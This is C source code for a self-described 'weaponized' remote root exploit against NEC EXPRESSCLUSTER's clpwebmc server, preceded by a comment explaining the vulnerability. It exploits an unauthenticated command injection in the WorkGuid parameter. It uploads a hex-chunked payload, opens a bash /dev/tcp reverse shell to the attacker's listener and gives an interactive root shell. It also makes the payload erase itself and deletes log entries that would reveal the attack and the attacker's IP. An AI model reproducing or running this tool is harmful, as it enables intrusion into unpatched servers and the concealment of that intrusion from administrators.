/* * 2017 update: as of 3.3.4 this bug seems to be fixed * - fixed versions: * NEC EXPRESSCLUSTER X 3.3.4-1 for Linux(amd64) * NEC EXPRESSCLUSTER X SingleServerSafe 3.3.4-1 for Linux(amd64) */ /* * *** THIS IS PRIVATE + UNPUBLISHED (0-DAY) SOURCE CODE, DO NOT DISTRIBUTE *** * * NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte 2015 * <vincitamorpatriae@gmail.com> * * - product description: * NEC EXPRESS CLUSTER is a family of integrated high availability and disaster * recovery software solutions that address the fast recovery and continuous * protection needs of business critical applications and data. With increased * servers and complexity of server applications running Windows or Linux, * EXPRESS CLUSTER minimizes planned and unplanned system outages. * * - vulnerability description: * NEC EXPRESS CLUSTER comes with Cluster Manager, a Java applet for cluster * configuration and management. The underlying webserver 'clpwebmc' runs as * root and accepts connections on TCP port 29003 which can be initiated without * authentication in the default installation. * * A function is available to remove temporary work directories by issuing the * following GET request to port 29003, appended with the location of the * directory that is supposed to be deleted: * GET /DeleteWorkDirectory.js?WorkGuid=directoryname * * The working of the DeleteWorkDirectory.js HTTP request roughly translates to * the following C code: * * void * remove_dir_path(char *WorkGuidParameter) * { * char x[128]; * snprintf(x, sizeof(x), "rm -fr /opt/nec/clusterpro/%s", * WorkGuidParameter); * system(x); * } * * No input sanitation is performed and the supplied arguments are passed * straight on to system(). By setting the WorkGuid parameter to '0' and * appending a semicolon followed by arbritrary commands it is possible to * execute those commands as root on the remote machine. * * Example HTTP GET request with command injection: * GET /DeleteWorkDirectory.js?WorkGuid=0;id>/tmp/id.txt * * Which results on the remote host: * $ ls -la /tmp/id.txt * -rw-rw-rw- 1 root root 57 Apr 20 16:37 /tmp/id.txt * $ cat /tmp/id.txt * uid=0(root) gid=0(root) groups=0(root) * * - tested vulnerable versions: * NEC EXPRESSCLUSTER X 3.3.0-1 for Linux(x86_64) on CentOS 6 * NEC EXPRESSCLUSTER X 3.1 for Linux(x86_64) on CentOS 6 * NEC EXPRESSCLUSTER X 2.1.4-1 for Linux(x86_64) on CentOS 6 * NEC ExpressCluster X LAN for Linux 2.0.2-1 i686 on CentOS 5 * NEC ExpressCluster X WAN for Linux 2.0.2-1 i686 on CentOS 5 * * - tested versions not vulnerable: * NEC ExpressCluster SE for Linux 3.1 i386 on RHEL 4 * * - exploit details: * This exploit is fully "weaponized" as they call it nowadays. It starts a * listening port on the attacking host and connects back from the victim host * using bash /dev/tcp redirection. The attacking host cannot be behind NAT or * run a firewall due to the nature of connect-back. * * A payload system is utilised where commands are encoded to hex and split into * chunks. These chunks are then sent one by one to the victim host and appended * to a temporary file using 'echo -ne'. The temporary file gets executed in the * last request. * * For OPSEC purposes the temporary file will destroy itself and * all traces of the exploit and your IP will be deleted from these log files: * /opt/nec/clusterpro/log/webmgr.log.cur * /opt/nec/clusterpro/log/webmgr.err.cur * * - exploit compilation: * gcc -Wall clpwebmc0day-v2.c -o clpwebmc0day-v2 * * - the exploit connect-back listener is confirmed to work on: * CentOS 6 * Fedora 22 * OS X 10.10.5 * */
#include <arpa/inet.h> #include <netinet/in.h>
#include <sys/socket.h> #include <sys/types.h>
#include <fcntl.h> #include <netdb.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include <unistd.h>
#define HDR "NEC EXPRESS CLUSTER clpwebmc Linux remote root exploit by cenobyte"
#define HEAD "HEAD / HTTP/1.1" #define CLPWEBMCPORT 29003 #define DEFAULTPORT 8080 #define GET "GET /DeleteWorkDirectory.js?WorkGuid=0;" /* the vulnerability */ #define INFO "GET /GetConfiguration.js?WebMgrVersion=0" /* nice info leak */ #define AUTH "Authorization: admin:" #define HTTP " HTTP/1.1\n" #define CRLF "\n\n"
#define BUFSIZE 1024 #define MAXPROCCMD 194 /* max len of request.c: process_command parameter */
#define CMD "unset HISTFILE; cd /; /bin/uname -a; /usr/bin/id\n"
#define CHMOD "chmod 755 " #define OVERWRITE "head -1024 /dev/urandom>" #define UNLINK "rm -f " #define ECHOAUTH "%secho -ne \"%s\">>%s%s%s%s" #define ECHO "%secho -ne \"%s\">>%s%s" #define LOG "/opt/nec/clusterpro/log/webmgr" #define ECPATH "/opt/nec/clusterpro/0" /* use the logged info leak GET request to find out the IP to connect-back */ #define CONNECTBACK "(/bin/bash 0</dev/tcp/" \ "$(grep GetConfiguration %s.log.cur|" \ "grep IP=|tail -1|tr ':' '\\n'|" \ "grep Root=1|cut -d, -f1)" \ "/%d 1>&0 2>&0) &" /* remove all log entries that reveal the vulnerability, exploit and our IP */ #define ANTIFOR "(sleep 5;for x in log err;do " \ "grep -vE 'd=0|n=0|%s|check_pass|system' %s.$x.cur>%s.0;" \ "cat %s.0>%s.$x.cur;" \ "rm -f %s.0;" \ "done) &" /* TMPPATH is the remote directory where the payload will be stored, you could * use /tmp but there's a fair chance that the sysadmin has mounted that with * 'noexec' */ #define TMPPATH "/opt/nec/clusterpro/log"
int sock; int listsock; int list_s; int flags; int port = CLPWEBMCPORT; int connectback = DEFAULTPORT;
extern char *__progname; char *host; char *md5;
int validport(int port, char *p) { if ((port < 1) || (port > 65535)) { printf("error: %d is an invalid %s port\n", port, p); return(1); }
return(0); }
void usage() { printf("usage: %s -h <host> [-p|-c|-m]\n", __progname); printf("\t-p [port (default: %d)]\n", port); printf("\t-c [connect-back port (default: %d)]\n", connectback); printf("\t-m [admin user md5 hash]\n\n"); exit(1); }
char *genrandom() { int len = strlen(TMPPATH) + 8; int n;
char *s = "AbCdEfGhIjKlMnOpQrXtUvWxYz"; char *r = malloc(sizeof(char)*(len + 1));
sprintf(&r[0], "%s/", TMPPATH);
srand(time(NULL)); for (n = strlen(TMPPATH) + 1; n < len; n++) r[n] = s[rand() % strlen(s)];
r[len] = '\0';
return(r); }
int opensock(char *host, unsigned short int port) { int s;
struct hostent *target; struct sockaddr_in addr;
target = gethostbyname(host); if (target == NULL) { perror("gethostbyname"); exit(1); }
s = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto); if (s == -1) { perror("socket"); exit(1); }
memcpy(&addr.sin_addr, target->h_addr, target->h_length);
addr.sin_family = AF_INET; addr.sin_port = htons(port);
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) { perror("connect"); exit(1); }
return(s); }
void sendsock(char *buf) { char readbuf[1024];
if (strlen(buf) >= MAXPROCCMD) { printf("sendsock() max len exceeded"); exit(1); }
sock = opensock(host, port); if (write(sock, buf, strlen(buf)) < 0) { perror("write"); exit(1); }
if (write(sock, CRLF, strlen(CRLF)) < 0) { perror("write"); exit(1); }
if (read(sock, readbuf, sizeof(readbuf) - 1) < 0) { perror("read"); exit(1); }
if (strstr(readbuf, "HTTP/1.1 200 OK") == NULL) { if (strstr(readbuf, "HTTP/1.1 403 Forbidden") != NULL) printf("[!] md5 hash is invalid %s\n", md5); else printf("[!] unknown error: [%s][%lu]\n", readbuf, strlen(readbuf));
exit(1); }
#ifdef VERBOSE printf("[-] sendsock(): HTTP/1.1 200 OK\n"); #endif close(sock); }
void writepayload(char *p, char *path) { char buf[MAXPROCCMD];
if (md5 == NULL) snprintf(buf, sizeof(buf), ECHO, GET, p, path, HTTP); else snprintf(buf, sizeof(buf), ECHOAUTH, GET, p, path, HTTP, AUTH, md5);
if (strlen(buf) > MAXPROCCMD) { printf("writepayload(): \"%s\" size exceeds MAXPROCCMD\n", buf); exit(1); }
sendsock(buf); }
void execpayload(char *path) { char buf[MAXPROCCMD];
printf("[*] executing payload\n");
if (md5 == NULL) { snprintf(buf, sizeof(buf), "%s%s%s%s", GET, CHMOD, path, HTTP); sendsock(buf);
snprintf(buf, sizeof(buf), "%s%s%s", GET, path, HTTP); sendsock(buf); } else { snprintf(buf, sizeof(buf), "%s%s%s%s%s%s", GET, CHMOD, path, HTTP, AUTH, md5); sendsock(buf);
snprintf(buf, sizeof(buf), "%s%s%s%s%s", GET, path, HTTP, AUTH, md5); sendsock(buf); } }
void sendcmd(char *p, char *path) { int i; int n = 1; int c = 0; int maxchunksize; int req;
static char buf[MAXPROCCMD];
if (md5 == NULL) { req = strlen(GET) + strlen(HTTP) + strlen(path) + \ strlen(ECHO) + strlen(CRLF); } else { req = strlen(GET) + strlen(HTTP) + strlen(path) + \ strlen(ECHOAUTH) + strlen(CRLF) + strlen(AUTH) + \ strlen(md5); }
#ifdef VERBOSE printf("[-] command: \"%s\"\n", p); #endif
maxchunksize = (MAXPROCCMD - req) / 4;
/* make the payload destroy itself on the filesystem during execution */ printf("[*] adding self destruct to payload: %s\n", path); snprintf(buf, sizeof(buf), "%s%s 2>&1;", OVERWRITE, path); writepayload(buf, path); snprintf(buf, sizeof(buf), "%s%s;", UNLINK, path); writepayload(buf, path); if (strlen(p) > maxchunksize) { printf("[-] command exceeds available space in GET request\n"); printf("[-] have to split in chunks\n"); }
printf("[*] uploading command payload to: %s\n", path); printf(" payload size: %lu\n", strlen(p)); printf(" payload chunk space: %d\n", maxchunksize); printf(" number of chunks: %lu\n", strlen(p) / maxchunksize);
printf("[*] uploading:\n"); printf(" chunk %d", n); #ifdef VERBOSE printf(" | "); #endif
/* turn commands into a hex payload of 'maxchunksize' byte chunks which * are saved to the filesystem. this is to bypass '&' filtering and to * get around the maximum size of GET requests allowed by clpwebmc */ for (i = 0; i < strlen(p); i++) { sprintf(&buf[c * 4],"\\x%02x", p[i]); #ifdef VERBOSE printf(" %c ", p[i]); #endif if (c == (maxchunksize - 1)) { #ifdef VERBOSE printf("\n chunk %d", n); printf(" | %s", buf); #endif printf("\n"); writepayload(buf, path); c = 0; n++;
printf(" chunk %d", n); #ifdef VERBOSE printf(" | "); #endif } else { c++; } }
#ifdef VERBOSE printf("\n chunk %d", n); printf(" | %s", buf); #endif printf("\n");
writepayload(buf, path);
execpayload(path); }
void checkserver() { char buf[BUFSIZE];
sock = opensock(host, port); if (write(sock, HEAD, strlen(HEAD)) < 0) { perror("write"); exit(1); }
if (write(sock, CRLF, strlen(CRLF)) < 0) { perror("write"); exit(1); }
if (read(sock, buf, sizeof(buf) - 1) < 0) { perror("read"); exit(1); }
close(sock);
/* older clpwebmc versions present themselves as: ClusterProWebmanager * newer versions use: ClusterWebmanager */ if (strstr(buf, "Server: Cluster") == NULL || \ strstr(buf, "Webmanager") == NULL) { printf("error: %s:%d is not running clpwebmc\n", host, port); exit(1); }
/* this GET request gets logged */ sock = opensock(host, port); if (write(sock, INFO, strlen(INFO)) < 0) { perror("write"); exit(1); }
if (write(sock, CRLF, strlen(CRLF)) < 0) { perror("write"); exit(1); }
if (read(sock, buf, sizeof(buf) - 1) < 0) { perror("read"); exit(1); }
close(sock);
/* OS checker * WebMgrVersion="WebMgr2.1.1_Linux" * WebMgrVersion="WebMgr3.0.0_Win" */ if (strstr(buf, "_Linux\"") == NULL) { printf("\n"); printf("[!] cannot exploit, %s is not running Linux\n", host); printf(" (your IP has been logged by the target system)\n"); exit(1); }
printf("[-] %s:%d is Linux running clpwebmc\n", host, port);
if ((strstr(buf, "NeedPasswdAuth=0") == NULL) && (md5 == NULL)) { printf("[!] cannot exploit: clpwebmc has a password set\n"); printf(" see usage how to send an admin password\n"); printf(" (your IP has been logged by the target system)\n"); printf("\n"); usage(); exit(1); } }
void setuplistener() { struct sockaddr_in addr;
printf("[*] setting up connect-back listener on port: %d\n", connectback);
if ((list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { perror("socket"); exit(1); }
addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(connectback);
if (bind(list_s, (struct sockaddr *) &addr, sizeof(addr)) < 0) { perror("bind"); exit(1); }
if (listen(list_s, BUFSIZE) < 0) { perror("listen"); exit(1); }
/* set O_NONBLOCK on listening socket */ flags = fcntl(list_s, F_GETFL, 0); if (fcntl(list_s, F_SETFL, flags | O_NONBLOCK) == -1) { perror("fcntl"); exit(1); } }
void connectshell() { int p;
char buf[BUFSIZE];
struct timeval tm;
fd_set rset;
printf("[*] connecting to shell\n");
#ifdef __APPLE__ /* remove O_NONBLOCK flag on OS X machines */ flags = fcntl(list_s, F_GETFL, 0); if (fcntl(list_s, F_SETFL, flags |~ O_NONBLOCK) == -1) { perror("fcntl"); exit(1); } #endif
if ((listsock = accept(list_s, NULL, NULL)) < 0) { perror("accept"); exit(1); }
p = send(listsock, CMD, strlen(CMD), 0); if (p == -1) { perror("send"); exit(1); }
printf("[-] connect-back successful\n\n");
tm.tv_sec = 10; tm.tv_usec = 0;
while (1) { FD_ZERO(&rset); FD_SET(listsock, &rset); FD_SET(STDIN_FILENO, &rset); select(listsock + 1, &rset, NULL, NULL, &tm);
if (FD_ISSET(listsock, &rset)) { p = read(listsock, buf, sizeof(buf) - 1); if (p <= 0) exit(0);
buf[p] = 0; printf("%s", buf); }
if (FD_ISSET(STDIN_FILENO, &rset)) { p = read(STDIN_FILENO, buf, sizeof(buf) - 1);
if (p > 0) { buf[p] = 0; write(listsock, buf, p); } } } }
int main(int argc, char *argv[]) { int opt;
char cmd[BUFSIZE];
printf("%s\n\n", HDR);
if (argc < 3) usage();
while ((opt = getopt(argc, argv, "h:p:c:m:")) != -1) switch (opt) { case 'h': host = optarg; break; case 'p': port = atoi(optarg); if (validport(port, "target") != 0) exit(1); break; case 'c': connectback = atoi(optarg); if (validport(connectback, "connect-back") != 0) exit(1); break; case 'm': md5 = optarg; printf("[-] using admin auth: %s\n", md5); break; default: usage(); }
if (host == NULL) usage();
checkserver(); setuplistener();
snprintf(cmd, sizeof(cmd), CONNECTBACK, LOG, connectback); sendcmd(cmd, genrandom());
/* remove all traces of the payload that were logged by webmgr * also remove all remove_tmp_webm system entries as it reveals our vuln */ printf("[-] anti-forensics: %s.log.cur and %s.err.cur\n", LOG, LOG); snprintf(cmd, sizeof(cmd), ANTIFOR, ECPATH, LOG, LOG, LOG, LOG, LOG); sendcmd(cmd, genrandom());
connectshell();
/* never reached */ return(0); }
|